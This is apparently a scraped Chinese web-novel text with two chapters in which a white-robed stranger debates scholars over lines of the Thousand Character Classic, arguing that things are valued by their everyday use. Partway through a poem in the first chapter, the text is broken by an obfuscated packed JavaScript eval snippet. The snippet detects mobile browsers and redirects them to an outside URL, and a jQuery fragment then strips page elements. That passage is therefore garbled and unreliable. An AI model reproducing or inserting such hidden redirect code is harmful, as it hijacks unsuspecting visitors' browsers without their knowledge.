露结是珍珠，为霜是盐粒。 金生不在水，在人心头记。 玉出不在冈，在匠人手底——” 贾夫子皱眉推窗，但见苏堤春晓处，众渔童正围着一个白衣人唱和。白衣人坐在柳下石凳，面前摊着几只瓦罐：一罐清水，一罐白盐，几块顽石，几片生锈的铜片。斗笠是细竹与柳絮混编，檐边缀着几串雨铃。白衣是粗麻所制，洗得发白，衣襟沾着湖上水汽。木剑倚在柳干，剑穗是褪色的五色丝绦打成流水结。面上蒙着本色棉纱，只露出一双澄澈如西湖的眼睛，正教一个小渔童用苇管吹水泡。 “荒谬！”贾夫子拂袖，“云雨霜露，乃天地正气；金玉宝器，乃造化精华。尔等渔子，安敢以盐粒泪滴比之？” 白衣人抬头，声音清润如春雨：“先生教训得是。在下教孩子们观水玩石，正是感悟造化——水汽升腾是云，云遇冷是雨，雨落地是水，水汽凝是露，露寒是霜。这本就是水之循环，与泪滴盐粒，皆是水之化身，有何不可比？” 贾夫子冷笑：“你既敢妄解天地，可敢上楼来论？也让这些士子听听，何为真造化！” 一、 云雨的真身 白衣人随贾夫子上楼。士子们见他布衣素履，皆有轻色。白衣人从怀中取出一面铜镜，对空映照，镜中现出流云。 “先说‘云腾致雨’。贾夫子解为阴阳化育，极是。但云从何来？雨归何处？” 他将铜镜转向西湖，镜中水光潋滟。 “云是湖中水，受日蒸腾，化汽升空。雨是空中云，遇冷凝结，落回湖中。这一升一落，是水之游，非云雨之变。” 又从袖中取出一只陶碗，碗中盛清水，以手扇风，水面起波。 “这碗中之水，若置于烈日之下，终将干涸。水汽升腾，聚而为云；若遇碗盖阻隔，复凝为水珠，此象犹雨之成。云雨本为一物，何来贵贱之分？云浮九天，常见于仰观之际；雨落尘埃，每得于俯接之时。然则仰观所见为贵，俯接所获为贱乎？” 一士子道：“云行雨施，品物流形。此乃圣人之教，岂是碗水可喻？” 白衣人将陶碗递给他：“请君观碗。水在碗中，是静；水汽升腾，是动；凝珠下落，是化。静动化之间，可是‘品物流形’？圣人观天地而得理，我等观碗水亦可得理。理在天地，亦在碗中。” 贾夫子捻须：“此言……倒有几分机锋。然云雨乃天地大化，终非碗水可比。” “天地大化，亦在微末。”白衣人指向楼外杨柳，“此刻谷雨，杨柳沾雨，农人喜，因雨润稼禾。这喜，是为天地大化，还是为碗中水？农人不知大化，只知雨好。此便是真知。” 二、霜露之辨 日近亭午，湖上暖湿之气氤氲蒸腾。白衣人自瓦罐中掬起一捧清水，倾于望湖楼石栏平面之上。复从怀中取出一枚光润沁凉之物，似玉而寒意森然，紧贴罐壁外侧。俄顷，罐外壁竟凝出细密水珠，莹然欲滴。 “再论‘露结为霜’。先生言地气上浮，遇寒成霜，固合古训。然露与霜，果真二物否？” 其人指罐壁水珠曰：“此即露。”又示手中寒玉表面浮现之白色结晶：“此即霜。露者，空中水汽遇冷液化成珠；霜者，同气遇寒凝华成晶。本皆水汽所化，惟寒温有别，形态遂异——此可实证。” 寒玉传至诸生手中，触手凛冽。白衣人徐言：“世人贵玉而贱霜。然玉本质为石，霜本质为水。石性恒常，水形万变。岂可以‘变’与‘不变’定贵贱耶？” 一士子沉吟片刻，方道：“玉质温润坚洁，可久持而传世；霜气清寒飘忽，遇暖阳则旋消。一者恒存，一者无常，贵贱之别，岂非自然？” “德者，人之投射，非物之固有。”白衣人声调平缓，“玉不琢不成器，赖人工斧凿；霜不降不成晶，凭天时寒燠。农人睹霜覆田野，知添衣保稼；匠人琢玉饰美人，为悦目增华。一者关乎生计，一者关乎艺趣。生与艺，孰为根本？孰为枝叶？” 言毕行至栏边，指苏堤上一荷担老农：“彼翁晨起见田畦凝霜，便驻足俯身，有所处置。此霜生自天寒，彼玉琢自山璞，皆造化所孕。翁因霜而虑稼穑，女因玉而饰容仪——一则关乎生计，一则关乎仪容。各依其用，各遂其情，物之贵贱，岂在物自身耶？” 贾夫子捻须默然片刻，方道：“依尔所言，霜露金玉之贵贱，实乃人心自生分别？” “正是。”白衣人微颔首，“云腾致雨，乃天象循环；露结为霜，乃地气应候。天道自然，本无善恶。人因云雨而喜忧，缘霜露而趋避，此皆心感于物，非物自有等差。金玉之道，亦同此理。” 三、金生之辨 白衣人自瓦罐中取出那片覆着绿锈的铜片，以粗布徐徐擦拭，露出底下暗沉铜色。 “‘金生丽水’。先生解作金能生水，故丽水之中出金。然金果真生水否？水果真生金否？” 他将铜片浸入身旁清水，片刻提起，但见铜面又浮起一层青绿锈迹，锈屑落处，水质微浊。 “铜遇水湿而生锈，锈入水而水浊。此乃金生水耶？抑或水生金耶？实乃金水相触，共生锈浊。至若丽水产金，盖因水流冲刷山岩，金砂随之沉积——是水运金，非水生金。” 复从袖中取出一枚铜钱，上有“通宝”二字隐约可辨。 “此物是金否？是水否？铜为金质，钱如水流——流通若水，方显其用。世人谓‘金生丽水’，实是见金能流通，犹水之润泽万物。然金若不流，便是死物；水若不动，便成腐潦。生者，动也。金动则生利，水流则生运。此方为‘金生丽水’之实义。” 一士子问道：“如此，金之贵，究竟贵在何处？” “贵在为人所用。”白衣人言罢，将手中铜钱投入楼角木箱——那箱旁木牌写着“施药助老”四字。 “此钱入箱，可易米粮，可活人命。此时之金，其贵在能济急难。若将此钱深藏秘室，百年不见天日，则与顽石何异？金之贵，不在其坚重之光，而在其流通之用。丽水出金，是天工赐予；人以金利世，是人心明达。若藏而不用，既负天工，亦负人心。” 贾夫子静听至此，对诸生道：“昔贤有云：衣食足而后知荣辱。金玉财货，本为养民之资。若民不得其养，虽有金山玉矿，又何贵可言？” 四、 玉出的真义 白衣人最后取出那几块顽石，石色杂驳，貌不惊人。他以小锤轻敲一石，石裂，内里透出温润光泽。 “‘玉出昆冈’。贾夫子解为玉蕴石中，故昆冈出玉。然玉真是‘出’自昆冈么？” 他将碎石拼合，又成顽石状。 “玉在石中，不剖不见。昆冈有玉，亦有石。玉是石之精，石是玉之母。人贵玉而贱石，然无石，何来玉？无昆冈，何来玉出？此是本末之思。” 又取出一块已琢之玉璧，璧上雕云纹。 “这玉璧，是玉乎？是石乎？琢前是石，琢后是玉。琢者，人也。玉出昆冈，是天工；玉成璧器，是人力。天工赐璞，人力成器。器以载道，方是真玉。” 他指着西湖远山：“那山可是昆冈？山中可有玉？不知。但山中必有石。石可筑基，可铺路，可砌屋。玉饰美人腕，石支百姓屋。屋与腕，孰重？” 士子们默然。白衣人缓声道：“玉出昆冈，是天地藏宝以待有缘。有缘者得玉，当思：此玉何用？饰身，饰心，还是饰世？昔有卞和献璞，断足不悔，是因他知璞中有玉，玉中有道。道在玉中，更在人心。” 贾夫子长叹：“老朽讲‘玉出昆冈’数十年，只道是天地精华，当珍当贵。今日方知，玉之贵，贵在道，非在质。若无道，玉是玩物；若有道，石亦是玉。” 五、 谷雨的启示 午后微雨，湖上烟波浩渺。白衣人邀众士子下楼，到堤上茶棚。棚中正煮谷雨新茶，茶香与雨气交融。 白衣人斟茶分与众人，缓声道：“今日谷雨，贾夫子教你们‘云腾致雨，露结为霜。金生丽水，玉出昆冈’。这是天地造化，是万物至理。” 他指着杯中茶烟：“这茶烟，可是云？这茶水，可是雨？这茶凉后杯壁水珠，可是露？这茶渣埋土，日久或化玉质——可是金玉？” 又指向湖上渔船：“渔人撒网，网起是银鱼。银鱼是金是玉？渔人售鱼换米，米是金是玉？老农得米炊饭，饭是金是玉？” 贾夫子端茶在手，对士子们道：“今日这堂课，老夫加一句：云腾致雨，当知云雨皆是水；露结为霜，当知霜露本同源。金生丽水，金在流通；玉出昆冈，玉在琢磨。造化在天地，亦在眼前一杯茶、一网鱼、一碗饭中。尔等可记下了？” 众士子齐声：“记下了！” “那便饮茶吧。茶中有云雨，有霜露，有金玉——饮下去，化在身心里，才是真造化。” 尾声·湖上造化 自那日后，望湖楼多了一景。 贾夫子仍讲理学，但每讲“云腾致雨”，必问士子：“你可曾观壶中水沸？可曾见晨间叶露？”每讲“金生丽水”，必问：“你可知一钱可活几人？一玉可载何道？”每讲“玉出昆冈”，必问：“你可见匠人琢石？可知石中天地？” 贾夫子遂于楼前立一木牌，亲书数行： 云腾为雨，同一水性； 露凝作霜，无非寒晶。 金玉虽珍， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223543|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终归物用； 人心若镜，照见分明。 造化岂在远，杯水可观澜； 至理何须深，日用即文章。 士子们每月需访市井，问渔人云雨，问农人霜露，问匠人金玉。有士子问：“这能助功名么？”贾夫子答：“功名是器，道是体。不明造化，不明日用，纵得功名，何益于世？” 后来杭州兴起“造化日”——每年谷雨，渔人、农人、匠人、商人齐聚望湖楼前，各陈其“造化”：渔人献银鱼，农人献新茶，匠人献琢器，商人献流通簿。贾夫子观之，叹：“这才是真云腾致雨——水汽循环，生生不息；这才是真金生丽水——财货流通，惠泽万民。” 那白衣人再未出现，但每年谷雨，望湖楼前总有陌生人来献一物：或是一罐湖水，或是一包霜晶，或是一枚锈钱，或是一块顽石。献物人总说：“云腾致雨，露结为霜。金生丽水，玉出昆冈。造化在眼前，人心是昆冈。” 贾夫子致仕那年，士子们为他编《造化日录》，序言是他亲笔： “讲学四十载，始悟学在闾巷。 云腾雨降，无非水化；露结霜凝，俱是寒形。 金玉虽珍，终归器用；人心若镜，自照虚盈。 百姓日用，即见天工；一念通明，胜过连城。 白衣一点，谷雨开蒙。 从此观造化先观人，论至理先论心。” 谷雨之日，老儒生凭栏望湖，但见烟波浩渺，云雨氤氲。堤上传来隐约渔歌： “云腾是水汽，致雨是泪滴—— 泪滴落湖化春水，春水养鱼鱼米香。 露结是珍珠，为霜是盐粒—— 盐粒调得百味足，珍珠不如菜根长。 金生不在水，在人心头记—— 心头有金济人急，不藏密室发光华。 玉出不在冈，在匠人手底—— 手底琢出天地心，顽石也能放光芒——” 他捻须微笑，对湖举杯：“云腾致雨，露结为霜。金生丽水，玉出昆冈。这十六字，老夫解了四十年，今日方解透。透在何处？在湖水，在茶叶，在鱼米，在人心。天地造化，本自平常。平常之中，自有云雨霜露，自有金玉满堂。” 湖光山色，烟雨空蒙。造化无言，万物有理。而这理中，有云雨，有霜露，有金玉，更有滚滚红尘里，寻常百姓家的炊烟暖意、生生不息。 本章诫世 一、 造化真义训 - 云腾致雨，露结为霜。金生丽水，玉出昆冈 - 破解法：观造化者，自问“云雨何物？霜露何形？金玉何贵？丽水昆冈何奇？是天道，是物理，是人心，是日用？” 二、 四化四常 - 云腾致雨——是水之循环，非云雨之贵贱。云在天为贵，雨在地为贱？本是一水，何分高下 - 露结为霜——是水之形态，非霜露之重轻。露是液，霜是晶，因温而异，皆是水 - 金生丽水——是金水相成，非金生水之玄理。金利流通如水，水生金脉如流，流通方生 - 玉出昆冈——是天人合运，非玉出石之神秘。天工赐璞，人力琢器，器以载道 - 四明：造化是常，非玄；是日用，非虚理。云雨霜露是水之常，金玉是物之常，丽水昆冈是地之常。常中见道，方是真知 三、 平常大道 - 深层隐喻：天地造化，如湖水一泓。云腾是水汽升，致雨是水汽落；露结是水凝珠，为霜是水凝晶；金生是水运金，玉出是石蕴玉。一切造化，皆在寻常水土中。人见云雨而仰观，见霜露而俯察，见金玉而珍视，然不知仰观俯察珍视的，本是同一湖水、同一块石。心在造化外，造化是玄妙；心在造化中，造化是平常 - 终极指向：世人观造化，易入歧途：以云雨为天道，不知是水循环；以霜露为地气，不知是水变形；以金玉为至宝，不知是物用；以丽水昆冈为神奇，不知是地常。真正的造化，在渔人网中，在农人锄下，在匠人锤前，在商贾秤上。平常日用，皆是造化；人心明澈，皆是金玉 谷雨化偈： 谷雨杭州望湖楼，贾师授造化至理。 云雨霜露金玉冈，字字句句是天机。 白衣堤上说故事，云雨是水非玄理。 金玉是物非至宝，造化在常非在奇。 从此观化先观常，至理日用是真理。 后世叹： 云腾致雨是水游，露结为霜是水凝。 金生丽水是流通，玉出昆冈是天人。 贾师讲学重玄理，白衣说化重平常。 从此造化是日用，金玉在心非在山。 正是： 谷雨杭州说造化，望湖楼前授天机。 云雨霜露金玉冈，字字玄妙句句理。 白衣堤上说故事，造化是常常是道。 从此观天先观水，至理自在茶杯中。 125.物用谳 楔子·端阳鉴宝 端午时节，金陵城“聚珍阁”内，博古先生秦夫子正指点十几个富家子弟鉴赏珍宝： “……剑号巨阙，珠称夜光，此乃天下至宝。巨阙剑，欧冶子所铸，斩金截玉，威震诸侯；夜光珠，南海所出，暗室生辉，价值连城。果珍李柰，菜重芥姜，此乃人间至味。李柰甘美，芥姜辛辣，皆不可或缺。物有贵贱，用有轻重，此乃天理人伦……” 正说着，阁外秦淮河畔传来清亮儿歌： “剑号巨阙是铁块，珠称夜光是石头。 果珍李柰是解渴，菜重芥姜是调口。 铁块能砍柴，石头能打狗。 李柰能充饥，芥姜能下酒——” 秦夫子皱眉推窗，但见河畔柳荫下，众渔家稚子正围着一个白衣人唱闹。白衣人坐在青石矶头，面前摊着几样物事：一柄锈柴刀、一颗寻常鹅卵石、几枚青李黄柰、一把芥菜几块老姜。斗笠是蒲草与艾叶混编，檐边缀着几串五彩丝。白衣是苎麻所制，洗得泛白，袖口沾着苇叶清香。木剑插在石缝，剑穗是褪色的五色丝绦打成如意结。面上蒙着本色棉纱，只露出一双明澈如秦淮水的眼睛，正教一个总角小童用鹅卵石打水漂。 “荒唐！”秦夫子拂袖，“巨阙夜光，乃天下奇珍；李柰芥姜，乃世间美味。尔等渔子，安敢以柴刀卵石比之？” 白衣人抬头，声音清朗如端午风：“先生教训得是。在下教孩子们玩石品果，正是感悟物用——柴刀砍柴，卵石铺路，李柰解渴，芥姜调味。物物皆有用，何必强分贵贱？” 秦夫子冷笑：“你既敢妄论珍宝，可敢进阁来辩？也让这些子弟听听，何为真贵重！” 一、 剑的真锋 白衣人随秦夫子进阁。富家子弟见他布衣素履，皆有哂色。白衣人从怀中取出一柄木剑，长三尺，无锋无锷。 “先说‘剑号巨阙’。秦夫子言其斩金截玉，威震诸侯，极是。然剑之所以为剑，在锋乎？在用乎？” 他将木剑递给最近一个锦衣少年：“公子可试挥此剑。” 少年嗤笑：“木剑岂能称剑？” “木剑不是剑，何物是剑？”白衣人反问，“铁铸为剑，木削亦为剑。剑之为剑，在其形乎？在其用乎？若论斩金截玉，巨阙能之，柴刀亦能之。”他指向窗外渔舟，“那渔人剖鱼之刀，日日斩鳞截骨，可称剑否？” 一子弟道：“剑乃百兵之君，有礼制威仪，岂是庖刀可比？” “礼制在人，不在剑。”白衣人缓声道，“昔有渔夫持桨退敌，桨是剑否？有农人挥锄护村，锄是剑否？巨阙悬于诸侯壁，是礼；柴刀握于樵夫手，是用。礼用之间，孰重？” 秦夫子捻须：“剑有文武。文剑饰礼，武剑建功。巨阙二者兼备，故为至宝。” “文武在人心，非在剑身。”白衣人指着阁中悬挂的装饰剑，“此剑镶金嵌玉，可为礼乎？可斩敌乎？若悬于壁，是礼器；若握于手，是凶器。礼器凶器，一念之间。巨阙若是凶器，斩的是人命；柴刀若是凶器，斩的是柴薪。人命贵，柴薪贱，故剑贵刀贱乎？” 阁中一时寂然。白衣人取回木剑，轻抚剑身：“我这木剑，不斩金玉，不伤人命。但它可指路，可量地，可教稚子明剑理。这用，可逊于巨阙？” 二、 珠的真光 日头渐高，阁内珍宝映光。白衣人从袖中取出那颗鹅卵石，置于紫檀案上。石色灰白，毫无光彩。 “再说‘珠称夜光’。秦夫子言其暗室生辉，价值连城，极是。然珠之所以为珠，在光乎？在明乎？” 他将鹅卵石递给一个佩珠少年：“公子可持此石，与夜光珠比光。” 少年嗤之以鼻：“顽石岂能比珠？” “请观。”白衣人吹熄烛火，阁中顿暗。他取夜光珠置于案，珠发幽绿微光；又取鹅卵石，石沉暗如故。 众人哂笑。白衣人却道：“珠光可照几步？” “三步之内可见物。” “烛光可照几步？” “十步之内明如昼。” 白衣人重点烛火：“珠光不如烛光，为何贵珠贱烛？因珠稀罕，烛寻常。稀罕者贵，寻常者贱，此人心之偏，非物用之实。” 他指向窗外河灯：“今夜端午，万盏河灯映秦淮，光可照夜。那一盏灯，是珠贵，还是灯贵？灯烛照人夜行，珠光照人赏玩。夜行关乎性命，赏玩关乎雅趣。性命与雅趣，孰重？” 秦夫子沉吟：“珠之为宝，在其珍稀难得。物以稀为贵，自古皆然。” “稀者贵，是人心之欲，非物用之需。”白衣人将鹅卵石投入鱼缸，石沉水底，“此石铺路，千人踏而不怨；砌墙，百年立而不倾。夜光珠可乎？珠需锦匣珍藏，畏湿畏碰；石可任雨任晒，无求无怨。从物用论，石胜于珠。从人心论，珠贵于石。贵在人心，非在物用。” 三、 果的真味 午时将至，阁外传来粽子香。白衣人从篮中取出青李黄柰，剖开展示：李肉青透，柰肉黄润。 “三说‘果珍李柰’。秦夫子言其甘美，极是。然果之所以为果，在味乎？在养乎？” 他将李柰分与众人品尝。子弟们皆道甘甜。 “李柰之珍，珍在何处？”白衣人问。 一子弟答：“珍在难得。李熟于初夏，柰熟于夏，皆非四季常有。” “若四季常有，便不珍乎？”白衣人指向窗外市集，“那挑担老妪，卖的是桃杏梨枣，四季轮转皆有果。桃甜杏酸梨脆枣香，可珍否？农人种果，是为养家；商人贩果，是为谋生；你我食果，是为解馋。解馋是欲，养家是需。欲与需，孰重？” 秦夫子道：“圣人有言：食不厌精，脍不厌细。李柰乃果中上品，自有其贵。” “上品下品，是人之分，非果之性。”白衣人取出一枚野山楂，其貌不扬，其味酸涩，“此果生于山野，鸟雀食之，樵童采之。在李柰旁，是下品。然饥者食之可果腹，医者用之可入药。果腹救命，可逊于解馋？” 他指着阁中果盘：“这盘李柰，值银三钱。三钱银可换糙米一斗，够三口之家十日炊。若以解馋之李柰，换活命之米粮，孰珍？李柰之珍，珍在口舌；米粮之珍，珍在性命。口舌与性命，孰重？” 众子弟默然。白衣人缓声道：“果珍李柰，是因其味美。然野果亦有味，何以不珍？因人择其美者珍之，丑者弃之。择弃之间，可见人心。” 四、 菜的真重 白衣人最后取出那把芥菜、几块老姜。芥叶青翠，姜块黄褐，其貌不扬。 “四说‘菜重芥姜’。秦夫子言其辛辣不可或缺，极是。然菜之所以为菜，在味乎？在功乎？” 他将芥姜递给阁中庖厨：“老师傅，此物在厨中何用？” 老庖厨躬身：“芥可腌渍佐粥，姜可去腥调味。二者虽贱，一日不可缺。” “如何不可或缺？” “无芥，食无辛香；无姜，腥膻不去。虽王侯宴席，亦需姜芥调味。” 白衣人颔首，转向秦夫子：“秦先生，巨阙剑可一日不用，夜光珠可一世不观，李柰可经年不食。然姜芥可一日缺否？” 秦夫子捻须：“庖厨之言不虚。老夫每日晨起，必食腌芥佐粥；每餐鱼肉，必佐姜醋。确不可缺。” “这便是‘重’。”白衣人正色，“重者，不可缺也。巨阙虽贵，可缺；夜光虽珍，可缺；李柰虽美，可缺。唯姜芥虽贱，不可缺。然人言‘菜重芥姜’，往往口重而心轻。宴席之上，鲍参翅肚居中央，姜芥葱蒜置角落。重乎？轻乎？” 他指着窗外市井：“那菜摊老翁，晨起贩姜芥，一日所得不过数十文。这数十文，换米养家，供子读书。姜芥之重，重在养千家万户，非在宴席一隅。重是日用，非是名贵。” 秦夫子长叹：“老朽鉴宝数十年，只道巨阙夜光是宝，李柰芥姜是味。今日方知，宝在有用，味在养人。有用养人者，虽贱亦重；无用悦人者，虽贵亦轻。” 五、 端午的启示 午时三刻，龙舟鼓声自河上传来。白衣人邀众人出阁，到河畔茶棚。棚中正煮粽子，桌上摆着“五黄”：黄鱼、黄鳝、黄瓜、咸蛋黄、雄黄酒。 白衣人斟雄黄酒分与众人，缓声道：“今日端午，秦夫子教各位‘剑号巨阙，珠称夜光。果珍李柰，菜重芥姜’。这是物之贵贱，用之轻重。” 他指着河中龙舟：“那舟子手中桨，是剑否？可劈波斩浪。那舟头灯笼，是珠否？可照夜引航。那舟中角黍，是李柰否？可慰劳力。那佐酒姜蒜，是芥姜否？可祛湿寒。” 又指向岸边观舟百姓：“渔夫手中网，可捕黄鱼；农人手中锄，可种黄瓜；庖厨手中刀，可剖黄鳝；母亲手中线，可缠彩粽。这些物，可称巨阙？可称夜光？可称李柰？可称芥姜？” 秦夫子举杯在手，对子弟们道：“今日这堂课，老夫加一句：剑之贵，贵在护人，非在斩金；珠之贵，贵在照夜，非在炫奇；果之贵，贵在养人，非在甘美；菜之重，重在日用，非在辛辣。物之用，在人心；物之贵，在养人。尔等可记下了？” 众子弟齐声：“记下了！” “那便观此酒吧。酒渍雄黄，可祛瘴疠；粽裹黍粟，能慰饥肠。祛瘴疗饥，便是大用。” 尾声·秦淮物用 自那日后，聚珍阁多了条规矩。 秦夫子仍鉴宝，但每鉴一物，必问主人：“此物何用？”若答“赏玩”，则摇头；若答“养人利世”，方点头。有子弟献夜光珠，夫子问：“可照几人夜行？”子弟赧然。有商人献巨阙剑，夫子问：“可护几村安宁？”商人默然。 他在阁前立木榜，刻白衣人当日语： 剑贵在护，非在锋 珠贵在明，非在光 果贵在养，非在味 菜重在用，非在名 物物皆有用，人心分重轻 富家子弟每月需访市井，问渔人网何用，问农人锄何用，问匠人锤何用，问母亲针线何用。有子弟问：“这能助家业么？”秦夫子答：“家业在物用，物用在养人。不知物用，纵有万贯，何益于世？” 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端午之日，老鉴宝师临窗观河，但见龙舟竞渡，百舸争流。岸上传来隐约童谣： “剑号巨阙是铁块，能砍柴来能劈山—— 樵夫手里柴刀快，养家糊口赛宝剑。 珠称夜光是石头，能铺路来能垒墙—— 孩童手掷打水漂，一石激起千层浪。 果珍李柰是解渴，能充饥来能尝鲜—— 山间野果无人问，饥年救人万万千。 菜重芥姜是调口，能佐餐来能祛寒—— 一日三餐不离它，才是真重才是宝——” 他捻须微笑，对河举杯：“剑号巨阙，珠称夜光。果珍李柰，菜重芥姜。这十六字，老夫解了五十年，今日方解透。透在何处？在柴刀，在卵石，在山楂，在老姜。物之用，在养人；物之贵，在人心。人心清明，则物物皆宝；人心蒙尘，则宝亦是石。” 河风拂面，粽香盈巷。物用无言，人心有秤。而这秤上，有巨阙，有夜光，有李柰，有芥姜，更有滚滚红尘里，寻常百姓家的炊烟暖意、生生不息。 本章诫世 一、 物用真义训 - 剑号巨阙，珠称夜光。果珍李柰，菜重芥姜 - 破解法：论物用者，自问“剑何以贵？珠何以珍？果何以美？菜何以重？是物之本，是人之欲，是名之累，是心之偏？” 二、 四物四用 - 剑号巨阙——贵在斩金截玉，更贵在护国卫民。若只悬壁，是死铁；若握在手，是凶器。真贵在护，非在锋 - 珠称夜光——珍在暗室生辉，更珍在照夜引路。若只藏椟，是顽石；若悬于途，是明灯。真珍在明，非在光 - 果珍李柰——美在甘甜适口，更美在养人果腹。若只悦口，是玩物；若活人命，是真珍。真珍在养，非在味 - 菜重芥姜——重在调味佐餐，更重在日用不可或缺。若只调口，是辅料；若养千家，是根本。真重在用，非在名 - 四明：物有本用，人贵之；物有虚名，人惑之。巨阙是铁，夜光是石，李柰是果，芥姜是菜。铁可铸剑亦可铸犁，石可饰冠亦可铺路，果可悦口亦可活命，菜可佐餐亦可养家。用是本，名是末 三、 日用大道 - 深层隐喻：天下万物，皆有其用。巨阙之贵，贵在“剑”名，然剑之用，在护在斩，非在名。夜光之珍，珍在“珠”名，然珠之用，在明在照，非在珍。李柰之美，美在“果”名，然果之用，在养在活，非在美。芥姜之重，重在“菜”名，然菜之用，在日在需，非在重。名是人之赋，用是物之实。重名轻用，则巨阙不如柴刀，夜光不如烛火，李柰不如野果，芥姜不如藜藿。重实轻名，则一草一木，皆是珍宝 - 终极指向：世人论物，易入歧途：以名为贵，不以用为贵；以稀为珍，不以养为珍；以美为美，不以活为美；以重为重，不以需为重。真正的物用，在渔人网中，在农人锄下，在匠人锤前，在母亲手中。日用寻常，方是真贵重；养人利世，方是真珍宝 端阳鉴偈： 端午金陵聚珍阁，秦师鉴宝论贵重。 巨阙夜光李柰姜，字字珍稀句句宝。 白衣河畔说故事，剑是铁块珠是石。 果是解渴菜调味，物用是本名是末。 从此鉴物先鉴用，贵重在养非在珍。 后世叹： 剑号巨阙是铁成，能斩能护方为贵。 珠称夜光是石生，能照明暗方为珍。 果珍李柰是木实，能养人能方为美。 菜重芥姜是地生，能佐餐需方为重。 秦师鉴宝重名贵，白衣说物重日用。 从此物用是根本，珍宝原是平常心。 正是： 端午金陵说物用，聚珍阁前论贵重。 巨阙夜光李柰姜，字字珍稀人人羡。 白衣河畔说故事，物用是本名是末。 从此论物先论用，日用寻常是真宝。